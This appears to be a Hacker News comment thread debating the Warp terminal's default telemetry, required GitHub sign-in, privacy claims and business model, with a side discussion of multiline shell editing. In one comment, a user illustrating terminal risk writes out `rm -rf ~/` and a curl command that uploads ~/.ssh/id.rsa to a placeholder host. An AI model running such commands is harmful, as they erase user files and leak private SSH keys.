[orastor]

Wanted to give it a shot but got disappointed when I launched it and the following happened:

- Outgoing request to googleapis.com

- Outgoing request to segment.io

- Outgoing request to sentry.io

- Requires sign up (only via Github, mind you)

I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sentry: not interested in sending telemetry from my terminal. Finally having user accounts for a terminal is such as strange concept.

I really wanted to like it, too. The screenshots look great

[jnovek]

Also: security?

I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser.

Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that can do that.

Honestly, this freaks me out. It’s an angle I’ve never considered before. Now I need to make sure my current terminal emulator (kitty) isn’t sending information to the internet without my permission.

[warent]

Agree, this is a pretty bad deal breaker for me. Big business people doing short-sighted big business things, salivating at cramming a product full of telemetry. All without transparency around it? In a terminal of all things?? Indescribably off-putting and catastrophically damages my trust in the product and the CEO.

EDIT: To be fair there is some transparency in the original post. I was looking through the landing page for it (where it is not mentioned). Also, imho it should still be opt-in even for beta. Not everyone is going to read the wall of text to parse out the buried note on telemetry

[ddoolin]

This is why I deleted Fig (https://fig.io/) right after installing it. It must've sent some uninstall information, too, because the creator/CEO emailed asking why I uninstalled it afterwards...

[Arcuru]

Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac.

Their getting started instructions [0] are all just terminal commands too, and even that doesn't mention Mac once.

[0] - https://fig.io/docs/getting-started

[girvo]

> Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac.

Not that it is not annoying, it is, but that's pretty common with Mac-only software in my experience.

[_tom_]

It's even more common with windows-only software.

[grnmamba]

"Send Download link" is a huge red flag. The only reason to have such a button is to send spam.

[mattl]

Yikes. No thanks.

[pedrossmelo]

lmao the same happened to me

[zachlloyd]

Hi - as the poster and founder I again completely get the concern.

We should make it even more transparent what we collect. You can see it here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel...

Re: big business, we're still pretty small, but it's true that we are trying to build a business around the command-line. I get that's controversial and it's not something that exists and that the terminal is a super-sensitive low level tool.

We will never ever build a business around terminal data, and to be super explicit, we are 100% not collecting any command inputs or outputs.

The business that we want to build is around making a terminal (or a platform for text based apps) that grows because it makes individuals and teams a lot more productive on the command line.

I've there's one thing I've taken away from this ShowHN so far is that there is a lot of well-founded concern about the terminal and user data and that we need to do a better job on this issue.

[westoncb]

Hey Zach, while I think your post is well-intentioned, the contemporary default level of trust around tech companies and data privacy is just very low. As a new entrant to the field, you inherit the default valuation—people have no other info to go off of.

Given that, it's probably the case that the only options are to either be fully open source or to make a fully offline mode an option.

In any case, I think the concept for your product is excellent—it's been mind-boggling to me that something along these lines wasn't tackled years ago, so I look forward to your guys' future success, hopefully moving the state of terminal interaction into the modern era.

[ajxs]

> ...the contemporary default level of trust around tech companies and data privacy is just very low...

It's not just that the level of trust is very low. I shouldn't need to place any trust in the developers of my terminal at all. If I can't know for a fact that it's not acting against my interests, then I'll pass. I already have such a big selection of fully open-source terminals available. Why would I even consider taking any king of risk with this one?

[1123581321]

I can’t speak for you, but generally people at least consider this tradeoff because of the additional utility of the third party tool. Ideally all these features would exist in the system terminal, but that hasn’t happened, and it possibly won’t ever.

[ovao]

As much as I can appreciate the community’s reaction to your approach of default collection of telemetry, I can also equally appreciate you and the rest of the team sucking it up and accepting the feedback. Thanks for that, and I’m personally interested to see where you’re able to take Warp. I think there’s something potentially pretty compelling here.

My advice here would be to simply make telemetry opt-in during the beta period. I’m typically pretty liberal about opting in to telemetry (particularly when the extent of which is documented), but obviously a lot of your users will not be. Your desire to accelerate your progress seems to conflate with the needs of your target demo, and I think this warrants adjustment.

[_tom_]

If the code is there, it is potentially exploitable. So, opt out is nowhere near good enough. If it can send to remote hosts, this can be abused. This capability should not be there, at all.

Look at the recent logging fiasco for an example.

[smt88]

> If it can send to remote hosts, this can be abused.

A useful terminal cannot be prevented from contacting remote hosts.

[ushakov]

or

they actually listen to our feedback, remove forced telemetry, remove sign-in in the next release, then i'd be more happy to give their product another chance

although no guarantee they'll not turn evil at some point in the future...

[heavyset_go]

Profit motive means that even if they do that now, they're incentivized to collect data in the future. From the standpoint of investors, leaving that revenue stream on the table would be dumb, considering every other company in tech spaces draws revenue from collecting their customers' data.

If a company is committed to never spying, then they'd have no problem making such terms contractually binding on their end. Companies that say they're against spying, but leave the option to collect their users' data open for the future, aren't really committed to not spying.

[encryptluks2]

If they start out evil, then don't expect them to change.

[Groxx]

Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin.

But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.

[triska]

> Absolutely nothing works better, it's the best by a ridiculously large margin.

Is this really the case? It seems that to find mistakes in software for various interaction patterns, truly exhaustive automated tests would likely work far better by various measures (coverage, reliability, reproducibility, reusability etc.) and at the same time do not have the extreme downside of privacy invasion. For example, see a section from the Age of Empires Post Mortem https://www.gamedeveloper.com/pc/the-game-developer-archives... :

"8. We didn’t take enough advantage of automated testing. In the final weeks of development, we set up the game to automatically play up to eight computers against each other. Additionally, a second computer containing the development platform and debugger could monitor each computer that took part. These games, while randomly generated, were logged so that if anything happened, we could reproduce the exact game over and over until we isolated the problem. The games themselves were allowed to run at an accelerated speed and were left running overnight. This was a great success and helped us in isolating very hard to reproduce problems. Our failure was in not doing this earlier in development; it could have saved us a great deal of time and effort. All of our future production plans now include automated testing from Day One."

[robbedpeter]

It is evil by default. Paying beta testers, or giving them a free, opt-in version with telemetry is the ethical route. Being ridiculously, over the top clear about exactly what you snarf off the end user is the ethical route.

You are not entitled to access my machine, and that shouldn't be casually dismissed with "don't worry, we're not doing anything bad." You're creating potential vulnerabilities, and by implementing identifiable patterns, reducing the security of your users.

You shouldn't spy on people, and when you do, it's wrong. Remotely inspecting people's behavior is spying.

Your software doesn't need to phone home. It doesn't need automatic updates. You don't need to spy on people to develop good software. That's toxic nonsense.

[bigDinosaur]

Ethical telemetry really in my view should:

- be opt-in

- provide an easy to read & access log which can be reviewed by the user at any point

- never collect unnecessary information 'just because' it might be useful in the future

- should provide a very good detailed analysis of any claims to anonymity

If something doesn't even fulfil the first criterion, it's probably violating all the others too.

[heavyset_go]

Telemetry is just the cheapest and most convenient option for business owners, and not necessarily the best option when it comes to improving customer value and experiences.

Case studies, focus groups, surveys and interviews are great ways to determine usage patterns and problems with products and services. Of course, you'd need to pay users to participate in them, and then you need to pay expensive employees to conduct, collect and analyze the results. Spying is cheaper than doing any of that.

[cestith]

I appreciate the balanced, reasonable discussion.

I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission.

[bitwize]

> Absolutely nothing works better, it's the best by a ridiculously large margin.

Then why is the telemetry-encrusted modern Windows a usability fail, even compared to past versions of Windows which relied on extensive in-house user testing?

[nicce]

Usually the practice in these scenarios is to try out all possible ways to make out money and then go a little backwards once the public outcry is big enough. At some point you find the most profitable balance situation, before you have expelled all customers.

[encryptluks2]

There is a plethora of free GPU-accelerated terminals. Alacritty, kitty, foot, wezterm, etc. None of these as far as I know send telemetry data. I see no reason to think that a new terminal is going to make money somehow by finding a balance.

[bongobingo1]

> remove forced telemetry, remove sign-in in the next release

Then why would anybody bother to invest in their next series?

[achenet]

because they have a growing number of paying customers.

[alimov]

They have a complete telemetry section on their website where it also states that no input or output data is collected.

[benmmurphy]

the problem with telemetry data is that sometimes you can accidentally collect sensitive data without realising it. i know one library on iOS was collecting the coordinates of all touch events. however, that meant it was collecting the coordinates of all touches on the keyboard which made it possible to reconstruct user input into password fields.

[alimov]

You’re right about there being a problem with it.

Which library was/is doing this? Would like to avoid it.

[coldtea]

Which is worth nothing if it can't be examined and verified (not to mention it can change with any release).

[zachlloyd]

As the author of the post (and founder of the company), I think this is also a very reasonable concern. It's one that we have as well and that we take very seriously.

Our stance here is that:

1) We are very explicit about what gets sent (only telemetry and crash reporting) and you can see the full list of telemetry events here (https://docs.warp.dev/getting-started/privacy#exhaustive-tel...)

2) For collaborative features like block-sharing (e.g. https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY) it's completely opt-in

However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. I stand by that but get that it's a paradigm shift.

Please keep the feedback coming though - it's helpful to understand how you think about it.

[estro0182]

> However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception.

But that’s exactly it. A lot of people on here, including me, do not agree that _every_ app has that potential. In fact many believe that internet connected apps are unnecessary for many things. There is strong evidence against this if you just look at the number of “secure” systems that have been hacked over the decades. While you may capture a large audience with your internet-first terminal “app”, who honestly don’t care about this stuff while at work, you will get pushback from HN and somewhat+ privacy concerned devs.

[Sammi]

Then maybe Warp is not the right terminal for you? It is ok if other people like Warp for what it is.

Here's another rust based terminal you can check out: https://github.com/alacritty/alacritty

[animuchan]

As a user, I can see the potential, sure. But it's not realized in any way. Right now this terminal uses Internet only for collecting my data (GitHub account, telemetry, and more).

The value proposition is negative. A paradigm shift, sure, but IMO in wrong direction.

[rgrieselhuber]

This was my first concern as well. I don't want my terminal to be a startup.

[gernb]

> I expect my terminal to be a much more secure environment than my web browser.

Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

JS on your browser can do none of those.

Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.

[triyambakam]

That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.

[gernb]

nonsense. The terminal is a place that you run software. Every piece of software you run in the terminal can do all kinds of nasty things to your system and steal info

the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data

[heavyset_go]

> Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

You'll be warned if you do the first, and plenty of people are phished via browsers.

[Hitton]

>You'll be warned if you do the first.

I don't think so. I dare you to run it.

[buro9]

I'm not sure I'm ready to have SaaS models replace core utilities and tools locally.

> Announcing Warp’s Series A: $17M to build a better terminal

And just thinking about this... it's not clear to me what their moat will be as I suspect if there's a really compelling feature it will be available in OSS terminals quite quickly. Perhaps it's the product polish? But I'm not sure polish is what I want from a terminal, at least... it's not the top thing I want .

[heroHACK17]

I wondered the same. Then I realized it sends out requests to googleapis, segment, and sentry. Imagine having data on every dev's terminal workflow? Ca$h.

[OOPMan]

Sounds more like a good way to get your product banned from a lot of workplaces.

[eterm]

A lot of workplaces don't even bother to ban grammarly, which is literally a keylogger*, this won't even be on their radar.

* I feel compelled to point out that Grammarly disagree with this definition because it doesn't send every single keystroke, just the ones in non-password text boxes.

[edgyquant]

Is grammarly not correct here?

[bongobingo1]

If my plugin Passwordly, only sends the keystrokes inside password boxes, is or isn't that a key logger? It's only capturing a subset of your input, like Grammarly, so not a keylogger?

If the argument is, it's not a keylogger because it's not logging sensitive information, well I type plenty of sensitive information into non-password textboxes.

[nicoburns]

I doubt their compelling features will be in OSS terminals any time soon. I’ve wanted a terminal that has a decent multi line editor for years, and there’s nothing out there.

[andrewzah]

Vim supports multiline editing and I'd imagine emacs does as well. In bash/zsh, <ctrl-x ctrl-e> opens up $EDITOR so you can use whatever you're accustomed to anyhow.

Most of these features are already available if one spends a bit of time configuring their terminal/shell.

[kreetx]

Is multiline editing popular/useful? Thus far, the only occasions I've seen it shown is when someone is demonstrating it.

[tomxor]

I use the visual-multi plugin [0] all day in vim/neovim.

I don't like using tons of plugins but multi cursor with with selective invocation like the ctrl-d of sublime etc was the main thing I missed when moving to vim. (I use visual block mode too but it's not the same thing).

https://github.com/mg979/vim-visual-multi.git

[andrewzah]

I'd say so, I find myself using it somewhat regularly.

It's pretty easy in vim once you learn how to use visual block mode. That or using Sed to replace text in a selection or the entire file.

http://paulrougieux.github.io/vim.html#Edit_multiple_lines

[jzm2k]

They are very useful! As a long time Vim user who switched to Kakoune[0] a while back, I didn't even realize I needed a good multiline cursor from my editor before it tried Kakoune. Highly recommend it!

[0] https://kakoune.org/

[nicoburns]

If you need to pass lots of arguments to a command it's super useful. Typically I don't do this because it's quite unwieldly with a standard readline editor, but I could if multiline editing was available!

[chaxor]

Put `set -o vi` in your .bashrc

That's all you need - you don't need a whole program that collects all of your information.

[mplanchard]

I use it not infrequently for crafting big ol bash pipelines to put into scripts, specifically via emacs’ `shell` terminal emulator.

[achenet]

Thank you for sharing this tip ^_^

[zhengt]

While this can be done in zsh/bash, it takes investment to understand how to use multiline specifically. And then once you leave the terminal, the same keystroke does not do anything for you.

One of Warp is that you don't have to think twice about it because it behaves similarly to text fields everywhere else on your computer.

In the terminal, I often have the feeling that personal computing revolution from Xerox PARC & Apple Computer never happened.

[robryk]

This works in everything that uses libreadline to accept user input (unless the binary has specifically configured library differently iiuc), so should work in all shell-like interfaces. You can customize the shortcuts in inputrc, likewise, for all libreadline-using binaries. By default, readline tries to be emacs-like. You can ask it to be vi-like, or reconfigure lots of its shortcuts to be similar to an editor you like. To be fair, "escape to real editor" is not a thing you usually do in an editor, so that will remain special.

[mftb]

This stuff has been in the major shells for years, through excellent editor integration. For emacs and vi it's pretty much free. If you want to integrate with a different editor, it's totally doable.

Most of the stuff sibling comment is referring to center around the feature:

'edit-and-execute-command' in bash. There is a similar incantation for zsh.

I summon it with, 'ESC v' in both.

[nicoburns]

If I open an editor then my scrollback history isn't visible (or is in a separate window). Maybe vim and emacs offer this, but that's a big commitment just for a terminal. Warp has GUI-grade editing (mouse support, etc) with things like multiple cursors in a very nice interface.

[a5aAqU]

Ctrl-z will put Vim to sleep. You can look at the history and then type `fg` to bring the Vim back to the foreground.

[kreetx]

In emacs a shell is like a text buffer where you can simply search or move around as you would do in a text file. To get command history you'd just execute `history` and then ctrl+s (find) it, or move to it with the cursor.

[NoGravitas]

So does Emacs. I kind of assume vim and neovim do too, these days.

[mftb]

Normally I would pull the command I need multi-line editing for back from shell history, using the search operator '!' and print predicate ':p' before invoking bash's 'edit-and-execute-command' on it. I suppose while in the editor then I might need history again, but I can't recall it being an issue.

[oblio]

Three words for 2 tests regarding these features:

1. discoverability

2. wide spread use.

Bash and zsh fail both tests.

[oblio]

I love how my previous comment is downvoted with no answer by I assume bash and zsh fanboys when these kinds of features are barely used by users, because they can't be easily found.

Use something like fish to see what real feature discoverability for a shell looks like.

And I say this as a zsh user that has waded through the mountains of obscure documentation to set it up. Don't fall into Stockholm syndrome and think that if you went through hardship, others should, too.

99% of bash/zsh discussion threads are someone going: "here is awesome feature I found" (where frequently that feature is something that should have been painfully obvious to notice) and then 100 replies: "that's so cool and useful, I never knew about it and I've been using bash/zsh for N > 5 years".

[mftb]

I have no idea who downvoted you or why they did so. I'm seeing your reply for the first time. From what I can see, our priorities in our tools are different. Discoverability and widespread use of particular features are not near the top of my list. I have read the bash manual. For the tools I use most, I've found it to be a good investment, that has paid me great dividends.

[a5aAqU]

> a terminal that has a decent multi line editor for years

You can use ctrl-x ctrl-e in most terminals.

https://unix.stackexchange.com/questions/85391/where-is-the-...

[anthk]

>You can use ctrl-x ctrl-e in most terminals.

Shells, not terminals.

[EuAndreh]

In Bash:

    C-x C-e

This opens $EDITOR, and when you finish editing and close it, it runs the code.

[root_axis]

haha well "decent" is in the eye of the beholder, I'd argue that vim is not only "decent" but by far the best general purpose IDE available.

[TheDong]

> I’ve wanted a terminal that has a decent multi line editor for years, and there’s nothing out there.

You can go the other direction.

Install neovim. Run `:terminal`. optionally run `:help Terminal-mode` first so you can figure out how to get out.

[chaxor]

Doesn't `set -o vi` do this for you? Place it in .bashrc and you're good to go.

It's great to use this with awesomewm for windows management, and vimium for browser control. Then you can develop in vim, bash in vim, browse in vim, and switch windows with vim. You don't have to learn 10 different, unintuitive, and ridiculous hotkeys for each different program or level.

[tasuki]

I use pretty out of the box zsh with vi-mode and it... just works for multiline editing? I can simply move down and up with j/k...

[jart]

It depends how you define multiline but check out: https://github.com/jart/bestline

[AdwinWhite]

Multiline works out of box in fish shell. I'm not sure how terminal is relevant here.

[sitkack]

Terminals are largely owned by graybeard maintainers that aren’t interested in innovating the Unix command line. This is not a difficult change.

[feanaro]

> I'm not sure I'm ready to have SaaS models replace core utilities and tools locally.

This isn't something you can ever be ready for. It's so completely and obviously wrong. Just say no.

[mritchie712]

The moat would be if teams depend on it for sharing workflows. Doing "teams" right on OSS is tricky, much easier to pull off in SaaS.

[michlim]

Warp engineer here.

FWIW, the Warp terminal will be free for individuals. We would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that. The types of features we could eventually charge for are team features.

Our bet is that the moat is going to be the team features, like:

- Sharing hard-to-remember workflows

- Wikis and READMEs that run directly in the terminal

- Session sharing for joint debugging

Our bet is their companies are willing to pay for these. BTW, even these team features will likely be free up to some level of usage and only charged in a company context.

[wildmanx]

> The types of features we could eventually charge for are team features.

You can probably maximize community acceptance if you provide clients that do not use these features as actual FOSS and only start incorporating closed-source pieces for those features. With things like client keys etc to restrict server access.

A bit like the Chrome/Chromium thing was intended initially.

[X-Istence]

> - Sharing hard-to-remember workflows

Those get codified into ansible and deployed on CI/CD pipelines. This is an anti-feature. The day that someone suggests using a terminal to manage hard-to-remember workflows is the day I start a huge crusade to fix whatever process led to introducing yet another tool.

[jbverschoor]

> - Sharing hard-to-remember workflows = Make better scripts and put in CI

> - Wikis and READMEs that run directly in the terminal No thank you

> - Session sharing for joint debugging = That's more for development.. not for shell access

> Our bet is their companies are willing to pay for these. BTW, even these team features will likely be free up to some level of usage and only charged in a company context.

I actually don't want them. I migrated from many apps that do too much to apps that do one thing really well.

[ThemalSpan]

What would be the advantage over version controlled shell scripts?

[steveklabnik]

(Not affiliated with Warp but care about this particular thing)

Shell scripts implies, well, a particular shell. If everyone is on similar OSes, maybe that works for you, but as a Windows user, "pile of bash scripts" might as well be "doesn't work for you." I use a terminal for my daily work, but don't have bash installed on my machine.

That said, I haven't tried Warp yet specifically because it's Mac-only right now. Even within that context, Warp integrates with Bash, Zsh, or Fish, which do have their own extensions to POSIX shell, but at least you can rely on Bash being installed.

[andrewzah]

That would also now force everyone to use this proprietary product instead of whatever they're familiar with.

For mac <-> linux, posix-compliant scripts mostly work in my experience but you have to account for different versions of gnu utils. For linux <-> windows, if it's small you could just write a powershell script, or use something like python on both, no?

I fail to see how these features are nice enough to force people to use a proprietary terminal that, for now, is compatible with existing bash/zsh shells.

[steveklabnik]

Yes, that is true, but it does seem like that's what their strategy is. If you're using these collaboration tools at your job, you'd have to be using the product already. So that's less of a problem than it would be for say, scripts included with some sort of open source project.

My point is mostly that shell isn't cross-platform, and this is one way you could address that. But it's not a generalized solution, absolutely.

(and yeah, something like Python is better than trying to keep multiple of the same scripts in different languages, for sure. You can do it if you wanted though, if they're small and you're willing to commit to it, I'm not sure I've ever seen it really pulled off.)

[Fnoord]

Nix(OS) already solves this problem.

[steveklabnik]

I cannot use Nix on my platform, and I’m not changing OSes.

[colonwqbang]

Why would it be easier to port Warp to a new system compared to Bash, Python, Perl, etc.? These tools are widely used to automate workflows and are already ported to any system you would probably care to develop on.

[steveklabnik]

You aren't the one porting Warp, but you are the one porting the shell script.

[alokedesai]

That's a great question! Version controlled shell scripts are very useful (and in fact workflows in Warp can also be version controlled) but they still have a few problems: 1) Documentation--when a repo has a lot of shell scripts, it can be very difficult to know which command to run in certain situations. Even if each shell script has documentation, there's no way to find that documentation natively from the terminal itself. 2) Searching--you can only execute commands from the terminal based on the shell script name but there's no easy way to search for a script based on _what_ it does or any other metadata.

[microflash]

> - Wikis and READMEs that run directly in the terminal

Nushell can open READMEs natively and can admittedly work with Wikis through a plugin.

[eloisius]

$3.99/mo for the Pro plan let's you run as many concurrent processes as you want!

[stormbrew]

It's just.. an incredibly bad look to have this be the top comment on a post about this while the website claims that "cloud stuff" is opt-in.

It's more essential to be honest about this during the beta period than after, so "oh it will be opt in" is a cold comfort, alongside the approximately never-true "we'll open source it some day."

Not touching this with a ten foot pole. Not for something as essential to my day to day work as a terminal.

[spiderice]

Further down in the thread, they claim that Warp is nearly as fast as Alacritty. Then a user points out that it isn't even close and their response is basically, yeah, we know that. We want to fix it.

How does a company expect lying on HN to work out well for them? I'm sure they're doing their best, and are excited about their launch. But they are coming off as so shady because they're trying to fool people.

[maxloh]

If they really wanted to be open source but don't accept contributions at the time, setting up a read only minor with a proper FOSS license will be a good way to do that.

[zachlloyd]

We tried to be really upfront in the privacy policy:

https://www.warp.dev/privacy

Opt-in refers to anything that sends any contents of a terminal session to our servers (as opposed to telemetry which is metadata and never contains any terminal input or output). But we hear the feedback and appreciate it.

[stormbrew]

At issue here is your front page, which says:

"Private & Secure: All cloud features are opt-in. Data is encrypted at rest."

While you might have some wiggle room to say that telemetry is not a "cloud feature", logging in with github is absolutely a cloud thing and it's not really opt-in if you can't use the software without literally identifying yourself to a cloud service.

You should at the very least remove that text from your front page until you're out of beta and it's actually true.

And that's ignoring the fact that there's no victory in splitting hairs over the definition of cloud stuff to pretend you're not walking a very fine line.

[FearTheTrees]

Zach, this telemetry approach is fine for Google Docs retail users but Warp's target customers are some of the tech savviest people on the planet. They are going to hold Warp to much higher standards of security and privacy.

Second, your user onboarding has too much friction with mandatory Github logins. You need an advisor / product manager who can guide you better when making these "human" decisions.

[iamdamian]

Yikes!

Because you posted directly to HN and clearly want to show this audience the value of your work, I expected a somewhat different reply to this critique.

A more user-centered reply might have been to say you understand the confusion and will look into making this truly opt-in with the team. I think the strong message you're getting from this community—who is, after all, your target audience—is that before sending any data (whether you choose to label it telemetry, tracking, diagnostic data, or otherwise), you should explicitly ask in the terminal itself whether the user finds this acceptable.

I don't want to put down an effort with seemingly good intentions like this one, so please take this engagement in the spirit it was given.

[RL_Quine]

That doesn't fit people's normal expectations. You're being intentionally deceptive.

[teakettle42]

> Opt-in refers to anything that sends any contents of a terminal session to our servers

There shouldn’t even be the option to opt-in to something so privacy violating.

Having built-in sending of session content means dangerous data exfiltration is always just one bug or accidental click away.

[oneepic]

I was confused by your wording, but I think this section of the link is very relevant:

>When Warp comes out of beta, telemetry will be opt-in and anonymous.

>But for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong.

[resonious]

I highly doubt anyone reads that. I think the only way to be up-front about it is to have an annoying pop-up that with a button that says "OK YOU CAN SEND TELEMETRY" that must be clicked before proceeding.

To be fair, I think HN is a collection of outliers when it comes to caring about network activity caused by running programs. Most devs will probably just be happy that the tool provides a lot of value.

[girvo]

Wrong crowd for this approach, I think.

[maxloh]

If you really wanted to be open source but don't accept contributions at the time, setting up a read only minor with a proper FOSS license will be a good way to do that.

[Fnoord]

Do you believe your policy is GDPR compliant?

[iuiz]

No way this is GDPR compliant. A mandatory Github login sends data to US servers. Even with the normal additional standard contract clauses it is at least disputed, if this holds any grounds in a CJEU trial.

Twilio, the owner of Segment.io is also a US company and will receive individual-related telemetry data, which should break with GDPR.

[zachlloyd]

As the author of the post, I think this is totally reasonable feedback and something we have discussed quite a bit on the team.

The general stance on telemetry that we have is that a) we are just starting and it's really helpful to see which of our product ideas are useful to our users (e.g. does anyone use AI Command Search? Should we continue to invest in it) b) we tried to be very explicit about what we are and are not sending - it is only metadata and never command input or output (you can see the full list of events we track here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel... c) if you aren't comfortable with telemetry, then please don't use the product just yet - we will make telemetry opt-in when we have a large enough sample size that we can be confident extrapolating what's going on

For googleapis - this is for login. We use firebase as our auth provider.

For segment - this is for temeletry, as you point out.

For sentry - this is for crash reporting.

As for why we have accounts, it's because we are starting to add features for teams and it's important in that context that there is some type of identity associated with the user.

But like I said at the start - the feedback is totally reasonable and we are trying to figure out how to balance concerns here while still being in a good place to iterate on and improve the product.

[btown]

As a Sentry user (for a web app where people are not placing sensitive IP!) - it is INCREDIBLY easy for it to be configured to suck up massive amounts of PII and sensitive IP in the context of its crash reports. If I am running `kubectl create secret --from-literal` and something crashes, can you guarantee that the contents of that command will not be loaded into Sentry? Breaching this guarantee would be as simple as having some code somewhere in your stack (including a parsing library) format an Error with the command contents, miles away from anything Sentry-specific.

I'd be much more trustful of your product (and indeed, I do desperately need a better terminal!) if you were to:

- make Sentry crash reporting opt-in (or at the very least have a popup that occurs with the content of what will be sent to Sentry before anything is sent to Sentry), AND

- clarify in your event telemetry documentation, and explicitly in your Privacy Policy, that ONLY the event ID/name, timing, and the user ID are sent to Segment, nothing else.

But I simply cannot use a terminal where my keystrokes might be logged to anyone's Sentry or Segment account - even if it were our company's own Sentry account. The risk of partner-entrusted credential leakage into an insecure environment is simply too high.

[stouset]

> - make Sentry crash reporting opt-in (or at the very least have a popup that occurs with the content of what will be sent to Sentry before anything is sent to Sentry), AND

100% this. I don't entirely understand why Warp needs to connect to Sentry right at application launch. If it crashes, capture that crash and present me an opportunity to report it or not. If I do agree to report it, first present me the complete text of everything that will be reported.

I understand that this puts some hurdles in the way of getting crash reports. But terminals frequently contain information far too sensitive to trust with these things being automated.

[Terretta]

Is this answer minimizing a bit?

You can use the Firebase login tools without the person identification stuff pulled in. Note that for companies failing to do this in a privacy respecting way, a savvy user can usually get granular at the firewall and get the login to work without the audience reporting. Which means you could…

Similarly, in my book, segment.io isn’t just “telemetry” so much as it’s killer feature of cross app audience persona correlation, so less about what’s up with the app, more trying to learn more about the users without asking them. If you were instrumenting the app UX and not trying to see who is using you, there are other choices.

A number of ways to do accounts that can leverage a person’s own IdP or other approaches where you don’t have to have accounts, e.g. most any channel the team or group can access will do to get in sync on a session start.

Regardless, and even if GitHub and e.g GitHub Orgs are your way, all of them should be optional since not everyone is desperate to team their cli.

Last, and sorry to put it like this, if you’ve “discussed it quite a bit” as a team, I’m not sure but maybe that gives me less confidence in your respect for security, privacy, and users.

I’d imagine that deliberate discussion backed by respect for your users and team know-how should have resulted in a different set of choices.

[gitgud]

Is login and authentication really necessary? No internet -> no terminal?

Even VScode a massive Microsoft project does not require signup/authentication to use it...

Love the design, but seems like a very enterprise-driven and niche product for a lot of developers

[ZoomZoomZoom]

> Warp is a blazingly fast, rust-based terminal reimagined from the ground up to work like a modern app.

Well, at least they didn't lie.

As of my personal position: I want less products in my computing environments, not more. I hope more people would ponder on possible ramifications of going in the opposite direction.

[resonious]

I'm not sure I care very much about which piece of software is a "product" or not (I have no qualms with devs asking for money), but I definitely agree that calling a piece of software "modern" actually carries negative connotations nowadays. I think most would agree that apps developed within the last 4 years are often more resource-intensive and slower than the equivalents from 15+ years ago.

Warp looks really cool as a tool and I intend to try it as soon as it's available on Linux, but it was pretty bold of them to include outgoing network requests by default before presenting directly to HN. I saw the post about "everything is opt in, where 'everything' means 'sending terminal contents'" - as if people read privacy policies before trying out a new dev tool.

[gxt]

We exists, but it's complicated. A complete solution has more edge cases than what "stacks" have tools to work with. My gut feeling is that the contemporary approach to solving information problems is crazy nonsense. I'm working on something to prove myself wrong. If I'm not I'll make something available for a fee

[bogota]

Yeah. From a developer standpoint my terminal is the one sacred thing i have still. Im unfortunately not using something that is going to randomly break or make external calls every time I open it.

Looks cool but I will never even give this a try.

[jnovek]

I nearly also used the word “sacred” in my comment above.

I gave up MacOS for Linux because I felt like Apple wasn’t letting me operate my own computer anymore. Even Ubuntu has eroded the transparency and control I have over my computer over the last decade, at least that’s my perception.

I feel like the only part of my computer that I understand anymore is what happens in the terminal.

I don’t categorically hate having magic happen on some remote server that makes computing easier for me in some way… but I really need to have a space that I understand and control and — over time — that place has slowly been compressed into the command line.

[traceroute66]

> Wanted to give it a shot but got disappointed when I launched it and the following happened

Yup, well, that's what happens when you take money from VCs or other third party investors, you need to monetise / demonstrate ROI / need numbers for your investor slide-decks.

I'll stick to my old-fashioned spyware free terminal thanks very much. Why overcomplicate things that don't need to be complicated.

[doctor_eval]

Yep. In my last project one of the key USPs was privacy. The product vision was built around it and it was fundamental to our positioning in the market.

But I made the mistake of letting investors share executive control of the company, and pop there goes the pro-privacy policy.

In defence of founders everywhere, however, I will say that the investors didn’t just say “no”. They strung me along for almost a year, insisting we would be meeting about it, recording decisions where we apparently agreed, even pointing out those decisions while they flagrantly violated them in practice.

So who knows what’s happened here. A lot of the messaging sounds like what happened to me. “Yes we know privacy is important and in the future mumble mumble.”

[db48x]

Yea, I would never use a terminal that does any of that. If you want logging and crash reports, use Breakpad or something similar to send the crash report after a crash. No need to have telemetry reports going all the time.

[zhengt]

In addition to crashes, we also want to know things like: which features people are using so we can invest more in them, how much people are using the app so we know if we're doing in a good job.

Totally understand if you're not comfortable with that though! It will be removed when Warp is out of the beta test.

[db48x]

I know it sounds logical to you, but the further down that road you go the worse your software will be in the end. Make software with a coherent vision and you can pick and choose features based on how will they fit that vision without needing to spy on your users, or turn it into a popularity contest.

Incidentally, you might be interested to know that in the last 8 hours my comment has gotten 25 upvotes; that’s a lot of lost customers.

[NateEag]

> Incidentally, you might be interested to know that in the last 8 hours my comment has gotten 25 upvotes; that’s a lot of lost customers.

No, that's a lot of people who upvoted your comment.

I'd wager anyone who agrees with your perspective is unlikely to have been a Warp customer in the first place.

(Speaking as one who tends towards your side of this discussion.)

[db48x]

I don’t mean that my comment cost them customers, only that the upvotes on my comment measures the customers they had already lost by using pervasive telemetry.

[NateEag]

I doubt that even a plurality of the people who upvoted you would have installed Warp and wound up paying for it.

[chillfox]

I hate telemetry driven development.

